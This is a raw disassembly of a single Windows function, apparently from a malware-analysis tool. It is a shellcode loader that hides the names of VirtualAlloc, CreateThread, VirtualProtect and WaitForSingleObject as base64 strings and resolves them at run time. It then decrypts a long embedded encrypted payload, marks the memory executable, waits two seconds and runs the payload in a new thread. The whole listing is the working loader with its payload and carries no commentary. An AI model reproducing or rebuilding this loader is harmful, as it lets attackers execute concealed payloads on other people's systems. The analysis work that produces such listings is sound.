Function at 0x140001f40
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x7c8]
sub rsp, 0x8b0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1400140c0]
xor rax, rsp
mov qword [rbp + 0x7a0], rax
mov qword [rsp + 0x60], 0xf
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], r12b
lea r8d, [r12 + 0x10]
lea rdx, str.VmlydHVhbEFsbG9j
lea rcx, [rsp + 0x48]
call fcn.1400014f0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x68]
call fcn.140001350
nop
cmp qword [rsp + 0x60], 0x10
jb 0x140001fce
mov rcx, qword [rsp + 0x48]
call fcn.140003010
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
mov r8d, 0x10
lea rdx, str.Q3JlYXRlVGhyZWFk
lea rcx, [rsp + 0x68]
call fcn.1400014f0
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 8]
call fcn.140001350
nop
cmp qword [rbp - 0x80], 0x10
jb 0x14000202b
mov rcx, qword [rsp + 0x68]
call fcn.140003010
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
mov r8d, 0x13
lea rdx, str.VmlydHVhbFByb3RlY3Q
lea rcx, [rsp + 0x48]
call fcn.1400014f0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x18]
call fcn.140001350
nop
cmp qword [rsp + 0x60], 0x10
jb 0x140002089
mov rcx, qword [rsp + 0x48]
call fcn.140003010
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
mov r8d, 0x1a
lea rdx, str.V2FpdEZvclNpbmdsZU9iamVjdA
lea rcx, [rsp + 0x68]
call fcn.1400014f0
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x38]
call fcn.140001350
nop
cmp qword [rbp - 0x80], 0x10
jb 0x1400020e6
mov rcx, qword [rsp + 0x68]
call fcn.140003010
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
lea rbx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rbx, qword [rbp + 0x68]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rbx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rbx, qword [rbp + 8]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rbx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rbx, qword [rbp - 0x18]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rbx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rbx, qword [rbp - 0x38]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp - 0x60], 0xf
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], 0
mov r8d, 0x20
lea rdx, str.GqcgNNr4Z293kOJSSmDnQ7XfNjmwM7g.
lea rcx, [rbp - 0x78]
call fcn.1400014f0
nop
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], 0
mov r8d, 0x4ac
lea rdx, str.AJAOLRjkX67gWycWKeEOI40K_ZYkhb4DSbLAoluwQ2c0Jg4kOs8y5rWs0WVJn4ecDZaMldB4oMf1C57DyO_OIMHUwmvKvFsgAigNHHb9Qci3pZmZUjfbaQR8uUWkoI8RqlQkjj7_ahJTGYNe61Au52_FCVNEO5yvTQX9jALXx90KR18Zjqj4VpgrqQNFPLi2yFnI05sLNrwiWmQjec9ck76KCJHGAFikGqiUOQdJp1g4t11TQtReuxZl_KzHoJcPyrE7Dmusk8TO8OxOKAF9SnxeNAFoVMp_tp4NCwEOv3B2WBMVp6oqwGmw9C5dQwT3tFdyvrjmeQNi3wyeLgw_sl7WCgH66qL03yOItTlsIV51h4e0ikV02N6GDYVoRHj9XPE2GMv4ALY9lNmKY_Rr7FFdd3h1gO_vNIxJ3wRmd6bR6t7VA01kh9wKRWfRZHRG6G7CX7CvilRK_PUibYSr9uk3c5TbJPtwocEXn0iPT2uEo5ioigU84bmRFGZTJT1zcarvskOpd1t8itQxaPyDw8148PKKbvEEeAsLKPjNdcjlKEsdXT47ZJnHDOwjAPpOGrAHzStA6cHoovKtYUzXHxwvTrNZ0NtlJBqxhOX7zJNyhA_BwKS51pJ11xl7HghAGX_IEZq2qj8hjMwKgZv5LfqcKkY6JYZHZP6X1HhibQNqYqo1mUr_yB6vnIdxj2KpGa6VG1lTnp2gHji6EOAJLVnVVEsW1mc3RhaTymAqz4nT3qzOsutZW16VAt5EvCHa1UK9jbsHZ6f4UYWyBjRQeTyoDsaLz3A0meY3vHAgntLiJZSru1xeqQISwSLqZbkNlNbD9KAt7vdFe4pdaJhjwqFrIAkZCBwBlVUKihOO5q5556HIvyyycqf9iDmXHzcCh2p2866mOu_hR226PjCaQ6qyILVFTUdcP9SOHCdO3sOqhSQ422GGF_FgcS2enj_ByxrlIO7QNmL6P9mwA4sRiZuVnTdse8SZWDHc28EEPARbNlDBqRta5oIpjQZxEJPhUif1UlCye41k3gnaQBgRAacLw2DV7Q2TlxeT3rdeyVk8I77biu_PHP4QHJz9qr4trqkX_moBiWjrYEPVn0JuBCXZFycrUKpMZYbPewICvnlmkKLRtxZEo3XnvnWTQRXAhMw2ajJusFO6MkCkn_WEsSuQ4HMQk
lea rcx, [rbp - 0x58]
call fcn.1400014f0
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x28]
call fcn.140001350
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x48]
call fcn.140001350
nop
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea r9, [rbp + 0xa0]
lea rcx, [rbp + 0xa0]
mov rax, rdx
or rax, rcx
and eax, 0xf
jne 0x140002293
mov eax, 7
nop dword [rax]
movaps xmm0, xmmword [rdx]
movaps xmmword [rcx], xmm0
movaps xmm1, xmmword [rdx + 0x10]
movaps xmmword [rcx + 0x10], xmm1
movaps xmm0, xmmword [rdx + 0x20]
movaps xmmword [rcx + 0x20], xmm0
movaps xmm1, xmmword [rdx + 0x30]
movaps xmmword [rcx + 0x30], xmm1
movaps xmm0, xmmword [rdx + 0x40]
movaps xmmword [rcx + 0x40], xmm0
movaps xmm1, xmmword [rdx + 0x50]
movaps xmmword [rcx + 0x50], xmm1
movaps xmm0, xmmword [rdx + 0x60]
movaps xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movaps xmm1, xmmword [rdx + 0x70]
movaps xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
dec rax
jne 0x140002240
jmp 0x1400022a1
mov r8d, 0x380
mov rcx, r9
call fcn.140002990
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rcx, qword [rbp + 0x48]
mov rax, qword [rcx]
mov qword [rbp + 0x88], rax
mov rax, qword [rcx + 8]
mov qword [rbp + 0x90], rax
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1400022fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.1400030f8
jmp 0x140002314
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xa0]
call fcn.140001dd0
mov r8d, 0x379
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x420]
call fcn.140002990
mov edx, 0x379
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call rdi
mov rbx, rax
mov r8, rax
lea rcx, [rbp + 0x420]
mov rdx, rcx
or rdx, rax
and edx, 0xf
jne 0x140002418
mov edx, 6
nop word [rax + rax]
movaps xmm0, xmmword [rcx]
movaps xmmword [r8], xmm0
movaps xmm1, xmmword [rcx + 0x10]
movaps xmmword [r8 + 0x10], xmm1
movaps xmm0, xmmword [rcx + 0x20]
movaps xmmword [r8 + 0x20], xmm0
movaps xmm1, xmmword [rcx + 0x30]
movaps xmmword [r8 + 0x30], xmm1
movaps xmm0, xmmword [rcx + 0x40]
movaps xmmword [r8 + 0x40], xmm0
movaps xmm1, xmmword [rcx + 0x50]
movaps xmmword [r8 + 0x50], xmm1
movaps xmm0, xmmword [rcx + 0x60]
movaps xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movaps xmm1, xmmword [rcx + 0x70]
movaps xmmword [r8 - 0x10], xmm1
lea rcx, [rcx + 0x80]
dec rdx
jne 0x140002370
movaps xmm0, xmmword [rcx]
movaps xmmword [r8], xmm0
movaps xmm1, xmmword [rcx + 0x10]
movaps xmmword [r8 + 0x10], xmm1
movaps xmm0, xmmword [rcx + 0x20]
movaps xmmword [r8 + 0x20], xmm0
movaps xmm1, xmmword [rcx + 0x30]
movaps xmmword [r8 + 0x30], xmm1
movaps xmm0, xmmword [rcx + 0x40]
movaps xmmword [r8 + 0x40], xmm0
movaps xmm1, xmmword [rcx + 0x50]
movaps xmmword [r8 + 0x50], xmm1
movaps xmm0, xmmword [rcx + 0x60]
movaps xmmword [r8 + 0x60], xmm0
mov rax, qword [rcx + 0x70]
mov qword [r8 + 0x70], rax
movzx eax, byte [rcx + 0x78]
mov byte [r8 + 0x78], al
jmp 0x14000242d
mov r8d, 0x379
lea rdx, [rbp + 0x420]
mov rcx, rax
call fcn.140002990
lea r9, [rsp + 0x3c]
mov edx, 0x379
mov r8d, 0x10
mov rcx, rbx
call r14
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call rsi
or edx, 0xffffffff
mov rcx, rax
call r15
nop
cmp qword [rbp + 0x60], 0x10
jb 0x140002483
mov rcx, qword [rbp + 0x48]
call fcn.140003010
mov qword [rbp + 0x60], 0xf
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x48], 0
cmp qword [rbp + 0x40], 0x10
jb 0x1400024a3
mov rcx, qword [rbp + 0x28]
call fcn.140003010
mov qword [rbp + 0x40], 0xf
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x28], 0
cmp qword [rbp - 0x40], 0x10
jb 0x1400024c3
mov rcx, qword [rbp - 0x58]
call fcn.140003010
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], 0
cmp qword [rbp - 0x60], 0x10
jb 0x1400024e3
mov rcx, qword [rbp - 0x78]
call fcn.140003010
mov qword [rbp - 0x60], 0xf
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], 0
cmp qword [rbp - 0x20], 0x10
jb 0x140002503
mov rcx, qword [rbp - 0x38]
call fcn.140003010
mov qword [rbp - 0x20], 0xf
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], 0
cmp qword [rbp], 0x10
jb 0x140002523
mov rcx, qword [rbp - 0x18]
call fcn.140003010
mov qword [rbp], 0xf
mov qword [rbp - 8], r12
mov byte [rbp - 0x18], 0
cmp qword [rbp + 0x20], 0x10
jb 0x140002543
mov rcx, qword [rbp + 8]
call fcn.140003010
mov qword [rbp + 0x20], 0xf
mov qword [rbp + 0x18], r12
mov byte [rbp + 8], 0
cmp qword [rbp + 0x80], 0x10
jb 0x140002566
mov rcx, qword [rbp + 0x68]
call fcn.140003010
xor eax, eax
mov rcx, qword [rbp + 0x7a0]
xor rcx, rsp
call fcn.1400027c0
lea r11, [rsp + 0x8b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret